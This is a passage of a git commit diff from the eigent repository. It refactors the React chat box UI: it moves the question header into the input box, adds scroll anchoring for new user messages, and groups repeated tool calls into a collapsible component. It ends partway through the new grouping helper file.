mirror of
https://github.com/eigent-ai/eigent.git
synced 2026-08-18 21:23:33 +00:00
feat/refactor chatbox ui rendering with event bus
This commit is contained in:
parent
03f9133174
commit
584242b9b8
103 changed files with 3465 additions and 722 deletions
|
|
@ -42,7 +42,8 @@ export function BoxHeaderDisplay({
|
|||
contextItems = [],
|
||||
details = [],
|
||||
onRemoveContextItem,
|
||||
}: BottomBoxHeaderContent) {
|
||||
className,
|
||||
}: BottomBoxHeaderContent & { className?: string }) {
|
||||
const hasCopy = Boolean(eyebrow || title || description);
|
||||
if (!hasCopy && contextItems.length === 0 && details.length === 0)
|
||||
return null;
|
||||
|
|
@ -51,7 +52,7 @@ export function BoxHeaderDisplay({
|
|||
<section
|
||||
data-bottom-box-header
|
||||
aria-label={title || eyebrow || 'Input context'}
|
||||
className="flex w-full flex-col gap-2 px-3 pt-3"
|
||||
className={cn('flex w-full flex-col gap-2 px-4 py-2', className)}
|
||||
>
|
||||
{hasCopy && (
|
||||
<div className="flex min-w-0 flex-col gap-0.5">
|
||||
|
|
|
|||
|
|
@ -436,7 +436,7 @@ export function ControlInputRouter({
|
|||
content = (
|
||||
<Inputbox
|
||||
{...inputProps}
|
||||
showFileAttachments={false}
|
||||
header={variant.header}
|
||||
connectorPanelOpen={connectorPanelOpen}
|
||||
onToggleConnectorPanel={onToggleConnectorPanel}
|
||||
skillPanelOpen={skillPanelOpen}
|
||||
|
|
|
|||
|
|
@ -35,7 +35,9 @@ import {
|
|||
import React, { useCallback, useEffect, useRef, useState } from 'react';
|
||||
import { useTranslation } from 'react-i18next';
|
||||
import { toast } from 'sonner';
|
||||
import { BoxHeaderDisplay } from './BoxHeader';
|
||||
import { RichChatInput } from './RichChatInput';
|
||||
import type { BottomBoxHeaderContent } from './types';
|
||||
|
||||
/**
|
||||
* File attachment object
|
||||
|
|
@ -59,8 +61,10 @@ export interface InputboxProps {
|
|||
onSend?: () => void;
|
||||
/** Array of file attachments */
|
||||
files?: FileAttachment[];
|
||||
/** Render attachment chips inside the input surface. BottomBox moves them to BoxHeader. */
|
||||
/** Render attachment chips inside the input surface (layer 2). */
|
||||
showFileAttachments?: boolean;
|
||||
/** Input-required question, details, and non-file context (layer 1). */
|
||||
header?: BottomBoxHeaderContent;
|
||||
/** Callback when files are modified */
|
||||
onFilesChange?: (files: FileAttachment[]) => void;
|
||||
/** Callback when add file button is clicked */
|
||||
|
|
@ -96,14 +100,11 @@ export interface InputboxProps {
|
|||
/**
|
||||
* Inputbox Component
|
||||
*
|
||||
* A multi-state input component with two visual states:
|
||||
* - **Default**: Empty state with placeholder text and disabled send button
|
||||
* - **Focus/Input**: Active state with content, file attachments, and active send button
|
||||
*
|
||||
* Features:
|
||||
* - Auto-expanding rich text input (links + #skills, up to 200px height)
|
||||
* - File attachment display (shows up to 5 files + count indicator)
|
||||
* - Action buttons (add file on left, send on right)
|
||||
* A multi-state input component with four stacked layers:
|
||||
* - **Layer 1**: Input-required question / details (when provided)
|
||||
* - **Layer 2**: File attachment chips (original design, up to 5 + overflow)
|
||||
* - **Layer 3**: Auto-expanding rich text input
|
||||
* - **Layer 4**: Action buttons (attach, connectors, skills, send)
|
||||
* - Send button changes color based on content (gray when empty, green when has content)
|
||||
* - Arrow icon rotates when there's content
|
||||
* - Supports Enter to send, Shift+Enter for new line
|
||||
|
|
@ -138,6 +139,7 @@ export const Inputbox = ({
|
|||
onSend,
|
||||
files = [],
|
||||
showFileAttachments = true,
|
||||
header,
|
||||
onFilesChange,
|
||||
onAddFile,
|
||||
placeholder,
|
||||
|
|
@ -345,6 +347,8 @@ export const Inputbox = ({
|
|||
</div>
|
||||
</div>
|
||||
)}
|
||||
{/* Layer 1: Input-required question / details */}
|
||||
{header && <BoxHeaderDisplay {...header} className="px-0 pb-2 pt-0" />}
|
||||
{/* Layer 2: File attachments (only show if has files) */}
|
||||
{showFileAttachments && files.length > 0 && (
|
||||
<div className="relative box-border flex w-full flex-wrap items-start gap-1 pb-2">
|
||||
|
|
|
|||
|
|
@ -350,7 +350,7 @@ export function ConnectorPickerPanel({
|
|||
renderTag={(item) => (
|
||||
<span
|
||||
className={cn(
|
||||
'rounded px-1 py-px text-xs font-medium',
|
||||
'rounded px-1 py-[1px] text-xs font-medium',
|
||||
RICH_CONNECTOR_STYLE_CLASSES
|
||||
)}
|
||||
>
|
||||
|
|
@ -418,7 +418,7 @@ export function SkillPickerPanel({
|
|||
return (
|
||||
<span
|
||||
className={cn(
|
||||
'rounded px-1 py-px text-xs font-medium',
|
||||
'rounded px-1 py-[1px] text-xs font-medium',
|
||||
RICH_SKILL_STYLE_CLASSES[clsIdx]
|
||||
)}
|
||||
>
|
||||
|
|
|
|||
|
|
@ -23,11 +23,7 @@ import { ControlInputRouter } from './ControlInput';
|
|||
import type { FileAttachment, InputboxProps } from './InputBox';
|
||||
import { ConnectorPickerPanel, SkillPickerPanel } from './PickerPanel';
|
||||
import { QueuedBox, type QueuedMessage } from './QueuedBox';
|
||||
import type {
|
||||
BottomBoxContextItem,
|
||||
BottomBoxVariant,
|
||||
LegacyBottomBoxVariant,
|
||||
} from './types';
|
||||
import type { BottomBoxVariant, LegacyBottomBoxVariant } from './types';
|
||||
import {
|
||||
UsageLimitBanner,
|
||||
type UsageLimitBannerProps,
|
||||
|
|
@ -191,41 +187,10 @@ export default function BottomBox({
|
|||
const hasOverlay = !!usageLimitBanner || !!activePickerPanel;
|
||||
|
||||
const variantHeader = normalizedVariant.header;
|
||||
const attachedFiles =
|
||||
normalizedVariant.kind === 'input' ? (inputProps.files ?? []) : [];
|
||||
const attachmentContext: BottomBoxContextItem[] = attachedFiles.map(
|
||||
(file) => ({
|
||||
id: `attachment:${file.filePath}`,
|
||||
label: file.fileName,
|
||||
description: file.filePath,
|
||||
kind: 'file',
|
||||
removable: typeof inputProps.onFilesChange === 'function',
|
||||
})
|
||||
);
|
||||
const headerContextItems = [
|
||||
...(variantHeader?.contextItems ?? []),
|
||||
...attachmentContext,
|
||||
];
|
||||
const resolvedHeader =
|
||||
variantHeader || headerContextItems.length > 0
|
||||
? {
|
||||
...variantHeader,
|
||||
contextItems: headerContextItems,
|
||||
onRemoveContextItem:
|
||||
inputProps.onFilesChange || variantHeader?.onRemoveContextItem
|
||||
? (id: string) => {
|
||||
if (id.startsWith('attachment:')) {
|
||||
const filePath = id.slice('attachment:'.length);
|
||||
inputProps.onFilesChange?.(
|
||||
attachedFiles.filter((file) => file.filePath !== filePath)
|
||||
);
|
||||
return;
|
||||
}
|
||||
variantHeader?.onRemoveContextItem?.(id);
|
||||
}
|
||||
: undefined,
|
||||
}
|
||||
: undefined;
|
||||
// Composer question/details live inside InputBox. Other variants keep the
|
||||
// display header above their control surface.
|
||||
const externalHeader =
|
||||
normalizedVariant.kind === 'input' ? undefined : variantHeader;
|
||||
|
||||
const variantDisabled =
|
||||
normalizedVariant.kind === 'input'
|
||||
|
|
@ -296,7 +261,7 @@ export default function BottomBox({
|
|||
loading={loading}
|
||||
/>
|
||||
)}
|
||||
{resolvedHeader && <BoxHeaderDisplay {...resolvedHeader} />}
|
||||
{externalHeader && <BoxHeaderDisplay {...externalHeader} />}
|
||||
|
||||
{/* InputBox — controlled router selected by event-derived variant. */}
|
||||
<ControlInputRouter
|
||||
|
|
|
|||
|
|
@ -12,7 +12,7 @@
|
|||
// limitations under the License.
|
||||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
/** Context displayed above the active human-control input. */
|
||||
/** Context displayed with the active human-control question. */
|
||||
export interface BottomBoxContextItem {
|
||||
id: string;
|
||||
label: string;
|
||||
|
|
@ -28,7 +28,7 @@ export interface BottomBoxHeaderDetail {
|
|||
content: string;
|
||||
}
|
||||
|
||||
/** Display-only content for the BoxHeader region. */
|
||||
/** Display-only question/details. Composer variants render this inside InputBox. */
|
||||
export interface BottomBoxHeaderContent {
|
||||
eyebrow?: string;
|
||||
title?: string;
|
||||
|
|
|
|||
|
|
@ -18,13 +18,33 @@ import {
|
|||
selectRenderableChatNodes,
|
||||
type ChatProjectionNode,
|
||||
} from '@/lib/projector/chat';
|
||||
import { useLayoutEffect, useMemo, useRef, type RefObject } from 'react';
|
||||
import {
|
||||
useEffect,
|
||||
useLayoutEffect,
|
||||
useMemo,
|
||||
useRef,
|
||||
type RefObject,
|
||||
} from 'react';
|
||||
|
||||
import {
|
||||
animateChatTimelineAnchor,
|
||||
type ChatTimelineScrollAnimation,
|
||||
} from './chatTimelineScroll';
|
||||
import { EventTimeline, type ChatTimelineDetailLevel } from './EventTimeline';
|
||||
import { presentHumanInteractionReceipts } from './EventTimeline/presentationPolicy';
|
||||
|
||||
/** Temporary DOM window until the event timeline has variable-height virtualization. */
|
||||
const MAX_MOUNTED_EVENT_NODES = 250;
|
||||
/** Extra slack beyond the BottomBox inset so "last message visible" still counts as pinned. */
|
||||
const NEAR_BOTTOM_SLACK_PX = 48;
|
||||
|
||||
export function isChatTimelineNearBottom(
|
||||
distanceFromBottom: number,
|
||||
bottomInsetPx: number,
|
||||
slackPx = NEAR_BOTTOM_SLACK_PX
|
||||
): boolean {
|
||||
return distanceFromBottom <= Math.max(0, bottomInsetPx) + slackPx;
|
||||
}
|
||||
|
||||
interface EventNativeTimelineWindow {
|
||||
hiddenNodeCount: number;
|
||||
|
|
@ -92,32 +112,129 @@ export function EventNativeProjectTimeline({
|
|||
);
|
||||
const { hiddenNodeCount, nodes: visibleNodes } = timelineWindow;
|
||||
const previousScrollHeightRef = useRef(0);
|
||||
const previousLatestUserEventIdRef = useRef<string | undefined>(undefined);
|
||||
const previousProjectIdRef = useRef(projectId);
|
||||
const pinToBottomRef = useRef(true);
|
||||
const ignoreAnchorScrollRef = useRef(false);
|
||||
const anchorAnimationRef = useRef<ChatTimelineScrollAnimation | null>(null);
|
||||
const contentRef = useRef<HTMLDivElement>(null);
|
||||
const latestNode = visibleNodes.at(-1);
|
||||
const latestEventId = latestNode?.eventId;
|
||||
const userMessageNodes = visibleNodes.filter(
|
||||
(node) => node.kind === 'message' && node.role === 'user'
|
||||
);
|
||||
const latestUserEventId = userMessageNodes.at(-1)?.eventId;
|
||||
|
||||
useLayoutEffect(() => {
|
||||
const container = scrollContainerRef?.current;
|
||||
if (!container) return;
|
||||
const content = contentRef.current;
|
||||
if (previousProjectIdRef.current !== projectId) {
|
||||
previousProjectIdRef.current = projectId;
|
||||
previousLatestUserEventIdRef.current = undefined;
|
||||
pinToBottomRef.current = true;
|
||||
ignoreAnchorScrollRef.current = false;
|
||||
anchorAnimationRef.current?.stop();
|
||||
anchorAnimationRef.current = null;
|
||||
if (content) content.style.minHeight = '';
|
||||
}
|
||||
|
||||
const updatePinFromScroll = () => {
|
||||
if (ignoreAnchorScrollRef.current) return;
|
||||
pinToBottomRef.current = isChatTimelineNearBottom(
|
||||
container.scrollHeight - container.scrollTop - container.clientHeight,
|
||||
scrollBottomInsetPx
|
||||
);
|
||||
};
|
||||
container.addEventListener('scroll', updatePinFromScroll, {
|
||||
passive: true,
|
||||
});
|
||||
|
||||
const previousHeight = previousScrollHeightRef.current;
|
||||
const wasNearBottom =
|
||||
previousHeight === 0 ||
|
||||
previousHeight - container.scrollTop - container.clientHeight <= 120;
|
||||
if (wasNearBottom) {
|
||||
(pinToBottomRef.current &&
|
||||
isChatTimelineNearBottom(
|
||||
previousHeight - container.scrollTop - container.clientHeight,
|
||||
scrollBottomInsetPx
|
||||
));
|
||||
const hadRenderedUserMessage =
|
||||
previousLatestUserEventIdRef.current !== undefined;
|
||||
const isNewUserMessage =
|
||||
latestUserEventId !== undefined &&
|
||||
latestUserEventId !== previousLatestUserEventIdRef.current;
|
||||
const shouldAnchorNewQuery =
|
||||
isNewUserMessage &&
|
||||
hadRenderedUserMessage &&
|
||||
userMessageNodes.length >= 2;
|
||||
|
||||
// A follow-up query starts a new reading viewport: its user row aligns just
|
||||
// below the Session header and streaming output grows beneath it. The first
|
||||
// query keeps the original bottom reveal behavior.
|
||||
if (shouldAnchorNewQuery) {
|
||||
const target = Array.from(
|
||||
contentRef.current?.querySelectorAll<HTMLElement>(
|
||||
'[data-message-role="user"]'
|
||||
) || []
|
||||
).at(-1);
|
||||
if (target) {
|
||||
anchorAnimationRef.current?.stop();
|
||||
ignoreAnchorScrollRef.current = true;
|
||||
pinToBottomRef.current = false;
|
||||
anchorAnimationRef.current = animateChatTimelineAnchor(
|
||||
container,
|
||||
target,
|
||||
content,
|
||||
() => {
|
||||
ignoreAnchorScrollRef.current = false;
|
||||
pinToBottomRef.current = false;
|
||||
}
|
||||
);
|
||||
}
|
||||
} else if (isNewUserMessage || wasNearBottom) {
|
||||
pinToBottomRef.current = true;
|
||||
container.scrollTo({ top: container.scrollHeight, behavior: 'auto' });
|
||||
}
|
||||
previousLatestUserEventIdRef.current = latestUserEventId;
|
||||
previousScrollHeightRef.current = container.scrollHeight;
|
||||
|
||||
const resizeObserver =
|
||||
content &&
|
||||
new ResizeObserver(() => {
|
||||
if (!pinToBottomRef.current) return;
|
||||
container.scrollTo({ top: container.scrollHeight, behavior: 'auto' });
|
||||
previousScrollHeightRef.current = container.scrollHeight;
|
||||
});
|
||||
if (content) resizeObserver?.observe(content);
|
||||
|
||||
return () => {
|
||||
container.removeEventListener('scroll', updatePinFromScroll);
|
||||
resizeObserver?.disconnect();
|
||||
};
|
||||
}, [
|
||||
latestNode?.eventId,
|
||||
latestEventId,
|
||||
latestUserEventId,
|
||||
latestNode?.runSequence,
|
||||
projectId,
|
||||
scrollBottomInsetPx,
|
||||
scrollContainerRef,
|
||||
userMessageNodes.length,
|
||||
]);
|
||||
|
||||
useEffect(
|
||||
() => () => {
|
||||
anchorAnimationRef.current?.stop();
|
||||
},
|
||||
[]
|
||||
);
|
||||
|
||||
return (
|
||||
<div
|
||||
className="relative z-10 w-full"
|
||||
data-chat-timeline-source="durable-events"
|
||||
>
|
||||
<div
|
||||
ref={contentRef}
|
||||
className="mx-auto w-full max-w-[600px] pt-0"
|
||||
style={{ paddingBottom: scrollBottomInsetPx }}
|
||||
>
|
||||
|
|
|
|||
|
|
@ -16,6 +16,7 @@ import type { ChatProjectionNode } from '@/lib/projector/chat';
|
|||
import { cn } from '@/lib/utils';
|
||||
import type { ReactNode } from 'react';
|
||||
|
||||
import { groupRepeatedToolCalls } from './activityGrouping';
|
||||
import { EventRenderer } from './EventRenderer';
|
||||
import type { EventRendererErrorHandler } from './EventRendererBoundary';
|
||||
import {
|
||||
|
|
@ -28,6 +29,7 @@ import type {
|
|||
EventRendererRegistry,
|
||||
EventTypeRendererRegistry,
|
||||
} from './rendererRegistry';
|
||||
import { RepeatedToolCallGroup } from './RepeatedToolCallGroup';
|
||||
|
||||
interface EventTimelineProps {
|
||||
ariaLabel?: string;
|
||||
|
|
@ -63,8 +65,9 @@ export function EventTimeline({
|
|||
detailLevel,
|
||||
nodes
|
||||
);
|
||||
const displayRows = groupRepeatedToolCalls(presentation.nodes);
|
||||
|
||||
if (presentation.nodes.length === 0) return <>{emptyState}</>;
|
||||
if (displayRows.length === 0) return <>{emptyState}</>;
|
||||
|
||||
return (
|
||||
<ol
|
||||
|
|
@ -73,38 +76,57 @@ export function EventTimeline({
|
|||
data-effective-detail-level={presentation.effectiveDetailLevel}
|
||||
data-requested-detail-level={presentation.requestedDetailLevel}
|
||||
>
|
||||
{presentation.nodes.map((node) => (
|
||||
<li
|
||||
className="min-w-0"
|
||||
data-event-node-id={node.id}
|
||||
data-event-node-kind={node.kind}
|
||||
data-interaction-id={
|
||||
node.kind === 'interaction' ? node.interactionId : undefined
|
||||
}
|
||||
data-interaction-request-event-id={
|
||||
node.kind === 'interaction'
|
||||
? node.requestEventId ||
|
||||
(node.status === 'requested' ? node.eventId : undefined)
|
||||
: undefined
|
||||
}
|
||||
data-interaction-resolution-event-id={
|
||||
node.kind === 'interaction' ? node.resolutionEventId : undefined
|
||||
}
|
||||
data-interaction-status={
|
||||
node.kind === 'interaction' ? node.status : undefined
|
||||
}
|
||||
data-run-id={node.runId}
|
||||
key={node.id}
|
||||
>
|
||||
<EventRenderer
|
||||
detailLevel={presentation.effectiveDetailLevel}
|
||||
eventTypeRegistry={eventTypeRegistry}
|
||||
node={node}
|
||||
onRendererError={onRendererError}
|
||||
registry={registry}
|
||||
/>
|
||||
</li>
|
||||
))}
|
||||
{displayRows.map((row) => {
|
||||
if (row.rowKind === 'repeated-tool-calls') {
|
||||
return (
|
||||
<li
|
||||
className="min-w-0"
|
||||
data-event-node-id={row.id}
|
||||
data-event-node-kind="activity"
|
||||
data-run-id={row.runId}
|
||||
data-tool-call-count={row.calls.length}
|
||||
key={row.id}
|
||||
>
|
||||
<RepeatedToolCallGroup group={row} />
|
||||
</li>
|
||||
);
|
||||
}
|
||||
|
||||
const node = row.node;
|
||||
return (
|
||||
<li
|
||||
className="min-w-0"
|
||||
data-event-node-id={node.id}
|
||||
data-event-node-kind={node.kind}
|
||||
data-message-role={node.kind === 'message' ? node.role : undefined}
|
||||
data-interaction-id={
|
||||
node.kind === 'interaction' ? node.interactionId : undefined
|
||||
}
|
||||
data-interaction-request-event-id={
|
||||
node.kind === 'interaction'
|
||||
? node.requestEventId ||
|
||||
(node.status === 'requested' ? node.eventId : undefined)
|
||||
: undefined
|
||||
}
|
||||
data-interaction-resolution-event-id={
|
||||
node.kind === 'interaction' ? node.resolutionEventId : undefined
|
||||
}
|
||||
data-interaction-status={
|
||||
node.kind === 'interaction' ? node.status : undefined
|
||||
}
|
||||
data-run-id={node.runId}
|
||||
key={row.id}
|
||||
>
|
||||
<EventRenderer
|
||||
detailLevel={presentation.effectiveDetailLevel}
|
||||
eventTypeRegistry={eventTypeRegistry}
|
||||
node={node}
|
||||
onRendererError={onRendererError}
|
||||
registry={registry}
|
||||
/>
|
||||
</li>
|
||||
);
|
||||
})}
|
||||
</ol>
|
||||
);
|
||||
}
|
||||
|
|
|
|||
153
src/components/ChatBox/EventTimeline/RepeatedToolCallGroup.tsx
Normal file
153
src/components/ChatBox/EventTimeline/RepeatedToolCallGroup.tsx
Normal file
|
|
@ -0,0 +1,153 @@
|
|||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import { ChevronDown, ChevronRight } from 'lucide-react';
|
||||
import { useState } from 'react';
|
||||
import { useTranslation } from 'react-i18next';
|
||||
|
||||
import type { RepeatedToolCallGroupRow } from './activityGrouping';
|
||||
|
||||
interface RepeatedToolCallGroupProps {
|
||||
group: RepeatedToolCallGroupRow;
|
||||
}
|
||||
|
||||
function displayStatus(status: string): string {
|
||||
return status.replaceAll('_', ' ');
|
||||
}
|
||||
|
||||
function groupStatusLabel(
|
||||
group: RepeatedToolCallGroupRow,
|
||||
t: ReturnType<typeof useTranslation>['t']
|
||||
): string {
|
||||
const statuses = group.calls.map((call) => call.presentedNode.status);
|
||||
const completed = statuses.filter((status) => status === 'completed').length;
|
||||
const failed = statuses.filter((status) => status === 'failed').length;
|
||||
const cancelled = statuses.filter((status) => status === 'cancelled').length;
|
||||
const active = statuses.filter(
|
||||
(status) => status === 'pending' || status === 'running'
|
||||
).length;
|
||||
|
||||
if (failed > 0) return t('chat.repeated-tool-failed', { count: failed });
|
||||
if (active > 0) {
|
||||
return t('chat.repeated-tool-completed-progress', {
|
||||
completed,
|
||||
count: group.calls.length,
|
||||
});
|
||||
}
|
||||
if (cancelled > 0) {
|
||||
return t('chat.repeated-tool-cancelled', { count: cancelled });
|
||||
}
|
||||
return t(`chat.tool-status-${group.status}`, {
|
||||
defaultValue: displayStatus(group.status),
|
||||
});
|
||||
}
|
||||
|
||||
function statusClassName(status: string): string {
|
||||
if (status === 'failed') return 'text-ds-text-error-default-default';
|
||||
if (status === 'running' || status === 'pending') {
|
||||
return 'text-ds-text-information-default-default';
|
||||
}
|
||||
return 'text-ds-text-neutral-muted-default';
|
||||
}
|
||||
|
||||
/** Optional second-level accordion for one consecutive burst of repeat calls. */
|
||||
export function RepeatedToolCallGroup({ group }: RepeatedToolCallGroupProps) {
|
||||
const { t } = useTranslation();
|
||||
const [open, setOpen] = useState(false);
|
||||
const toolTitle = `${group.toolkitName} · ${group.methodName}`;
|
||||
const title = t('chat.repeated-tool-events', {
|
||||
tool: toolTitle,
|
||||
count: group.calls.length,
|
||||
});
|
||||
|
||||
return (
|
||||
<section
|
||||
aria-label={t('chat.repeated-tool-calls-label', { tool: toolTitle })}
|
||||
className="overflow-hidden rounded-xl border border-ds-border-neutral-subtle-default bg-ds-bg-neutral-subtle-default"
|
||||
data-tool-call-group
|
||||
data-tool-call-count={group.calls.length}
|
||||
data-tool-call-method={group.methodName}
|
||||
data-tool-call-status={group.status}
|
||||
data-tool-call-toolkit={group.toolkitName}
|
||||
>
|
||||
<button
|
||||
type="button"
|
||||
aria-expanded={open}
|
||||
className="group flex w-full items-center justify-between gap-3 px-4 py-3 text-left transition-colors hover:bg-ds-bg-neutral-default-hover focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-inset focus-visible:ring-ds-border-brand-default-focus"
|
||||
onClick={() => setOpen((current) => !current)}
|
||||
>
|
||||
<span className="flex min-w-0 items-center gap-2">
|
||||
{open ? (
|
||||
<ChevronDown
|
||||
aria-hidden
|
||||
className="size-4 shrink-0 text-ds-icon-neutral-subtle-default opacity-100 transition-opacity duration-200"
|
||||
/>
|
||||
) : (
|
||||
<ChevronRight
|
||||
aria-hidden
|
||||
className="size-4 shrink-0 text-ds-icon-neutral-subtle-default opacity-0 transition-opacity duration-200 group-focus-within:opacity-100 group-hover:opacity-100"
|
||||
/>
|
||||
)}
|
||||
<span className="truncate text-body-sm font-medium text-ds-text-neutral-default-default">
|
||||
{title}
|
||||
</span>
|
||||
</span>
|
||||
<span
|
||||
className={`shrink-0 text-label-xs ${statusClassName(group.status)}`}
|
||||
>
|
||||
{groupStatusLabel(group, t)}
|
||||
</span>
|
||||
</button>
|
||||
|
||||
{open ? (
|
||||
<div className="border-x-0 border-b-0 border-t border-solid border-ds-border-neutral-subtle-default px-4 py-2">
|
||||
<ol className="m-0 flex list-none flex-col gap-2 p-0">
|
||||
{group.calls.map((call, index) => {
|
||||
const node = call.presentedNode;
|
||||
return (
|
||||
<li
|
||||
key={call.id}
|
||||
className="rounded-lg bg-ds-bg-neutral-default-default px-3 py-2"
|
||||
data-tool-call-id={node.toolCallId || call.id}
|
||||
data-tool-call-index={index + 1}
|
||||
data-tool-call-status={node.status}
|
||||
>
|
||||
<div className="flex items-center justify-between gap-3">
|
||||
<span className="text-label-sm font-medium text-ds-text-neutral-default-default">
|
||||
{toolTitle}
|
||||
</span>
|
||||
<span
|
||||
className={`text-label-xs ${statusClassName(node.status)}`}
|
||||
>
|
||||
{t(`chat.tool-status-${node.status}`, {
|
||||
defaultValue: displayStatus(node.status),
|
||||
})}
|
||||
</span>
|
||||
</div>
|
||||
{node.detail ? (
|
||||
<p className="m-0 mt-1 whitespace-pre-wrap break-words text-label-sm text-ds-text-neutral-subtle-default">
|
||||
{node.detail}
|
||||
</p>
|
||||
) : null}
|
||||
</li>
|
||||
);
|
||||
})}
|
||||
</ol>
|
||||
</div>
|
||||
) : null}
|
||||
</section>
|
||||
);
|
||||
}
|
||||
|
||||
export type { RepeatedToolCallGroupProps };
|
||||
243
src/components/ChatBox/EventTimeline/activityGrouping.ts
Normal file
243
src/components/ChatBox/EventTimeline/activityGrouping.ts
Normal file
|
|
@ -0,0 +1,243 @@
|
|||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
// ========= Copyright 2025-2026 @ Eigent.ai All Rights Reserved. =========
|
||||
|
||||
import type {
|
||||
ChatActivityNode,
|
||||
ChatActivityStatus,
|
||||
ChatProjectionNode,
|
||||
} from '@/lib/projector/chat';
|
||||
|
||||
type TimelineNodeRow = {
|
||||
rowKind: 'node';
|
||||
id: string;
|
||||
node: ChatProjectionNode;
|
||||
};
|
||||
|
||||
export type PresentedToolCall = {
|
||||
id: string;
|
||||
nodes: readonly ChatActivityNode[];
|
||||
presentedNode: ChatActivityNode;
|
||||
};
|
||||
|
||||
export type RepeatedToolCallGroupRow = {
|
||||
rowKind: 'repeated-tool-calls';
|
||||
id: string;
|
||||
agentId?: string;
|
||||
agentName?: string;
|
||||
methodName: string;
|
||||
runId: string;
|
||||
toolkitName: string;
|
||||
calls: readonly PresentedToolCall[];
|
||||
status: ChatActivityStatus;
|
||||
};
|
||||
|
||||
export type ChatTimelineDisplayRow = TimelineNodeRow | RepeatedToolCallGroupRow;
|
||||
|
||||
type MutableToolCall = {
|
||||
id: string;
|
||||
nodes: ChatActivityNode[];
|
||||
};
|
||||
|
||||
type ToolIdentity = {
|
||||
key: string;
|
||||
methodName: string;
|
||||
toolkitName: string;
|
||||
};
|
||||
|
||||
const ACTIVE_TOOL_STATUSES = new Set<ChatActivityStatus>([
|
||||
'pending',
|
||||
'running',
|
||||
]);
|
||||
|
||||
const TERMINAL_TOOL_STATUSES = new Set<ChatActivityStatus>([
|
||||
'completed',
|
||||
'failed',
|
||||
'cancelled',
|
||||
]);
|
||||
|
||||
function normalizeIdentity(value: string | undefined): string {
|
||||
return (value || '')
|
||||
.trim()
|
||||
.toLowerCase()
|
||||
.replace(/[^a-z0-9]+/g, '');
|
||||
}
|
||||
|
||||
function toolIdentity(node: ChatProjectionNode): ToolIdentity | null {
|
||||
if (node.kind !== 'activity' || node.activityType !== 'tool') return null;
|
||||
|
||||
const toolkitName = node.toolkitName?.trim() || 'Tool';
|
||||
const methodName =
|
||||
node.methodName?.trim() || node.toolName?.trim() || node.title.trim();
|
||||
if (!methodName) return null;
|
||||
|
||||
const agentIdentity =
|
||||
normalizeIdentity(node.agentId) || normalizeIdentity(node.agentName);
|
||||
return {
|
||||
key: JSON.stringify([
|
||||
node.runId,
|
||||
agentIdentity,
|
||||
normalizeIdentity(toolkitName),
|
||||
normalizeIdentity(methodName),
|
||||
]),
|
||||
toolkitName,
|
||||
methodName,
|
||||
};
|
||||
}
|
||||
|
||||
function uniqueDetails(nodes: readonly ChatActivityNode[]): string | undefined {
|
||||
const details = nodes
|
||||
.map((node) => node.detail?.trim())
|
||||
.filter((detail): detail is string => Boolean(detail));
|
||||
const unique = [...new Set(details)];
|
||||
return unique.length ? unique.join('\n\n') : undefined;
|
||||
}
|
||||
|
||||
function callStatus(nodes: readonly ChatActivityNode[]): ChatActivityStatus {
|
||||
return nodes.at(-1)?.status || 'unknown';
|
||||
}
|
||||
|
||||
function presentToolCall(call: MutableToolCall): PresentedToolCall {
|
||||
const first = call.nodes[0]!;
|
||||
const last = call.nodes.at(-1)!;
|
||||
return {
|
||||
id: call.id,
|
||||
nodes: call.nodes,
|
||||
presentedNode: {
|
||||
...first,
|
||||
eventType: last.eventType,
|
||||
status: callStatus(call.nodes),
|
||||
title: last.title || first.title,
|
||||
detail: uniqueDetails(call.nodes),
|
||||
toolCallId: last.toolCallId || first.toolCallId,
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Fold one uninterrupted toolkit/method segment into logical invocations.
|
||||
* Explicit backend call IDs are authoritative. Older transports fall back to
|
||||
* FIFO lifecycle pairing so repeated start/terminal frames count as calls,
|
||||
* not as twice as many timeline rows.
|
||||
*/
|
||||
function buildToolCalls(
|
||||
nodes: readonly ChatActivityNode[]
|
||||
): PresentedToolCall[] {
|
||||
const calls: MutableToolCall[] = [];
|
||||
const byCallId = new Map<string, MutableToolCall>();
|
||||
const anonymousOpen: MutableToolCall[] = [];
|
||||
|
||||
const createCall = (node: ChatActivityNode): MutableToolCall => {
|
||||
const call = { id: `tool-call:${node.id}`, nodes: [node] };
|
||||
calls.push(call);
|
||||
return call;
|
||||
};
|
||||
|
||||
for (const node of nodes) {
|
||||
if (node.toolCallId) {
|
||||
const existing = byCallId.get(node.toolCallId);
|
||||
if (existing) {
|
||||
existing.nodes.push(node);
|
||||
} else {
|
||||
byCallId.set(node.toolCallId, createCall(node));
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ACTIVE_TOOL_STATUSES.has(node.status)) {
|
||||
anonymousOpen.push(createCall(node));
|
||||
continue;
|
||||
}
|
||||
|
||||
if (TERMINAL_TOOL_STATUSES.has(node.status) && anonymousOpen.length > 0) {
|
||||
anonymousOpen.shift()!.nodes.push(node);
|
||||
continue;
|
||||
}
|
||||
|
||||
createCall(node);
|
||||
}
|
||||
|
||||
return calls.map(presentToolCall);
|
||||
}
|
||||
|
||||
function aggregateStatus(
|
||||
calls: readonly PresentedToolCall[]
|
||||
): ChatActivityStatus {
|
||||
const statuses = calls.map((call) => call.presentedNode.status);
|
||||
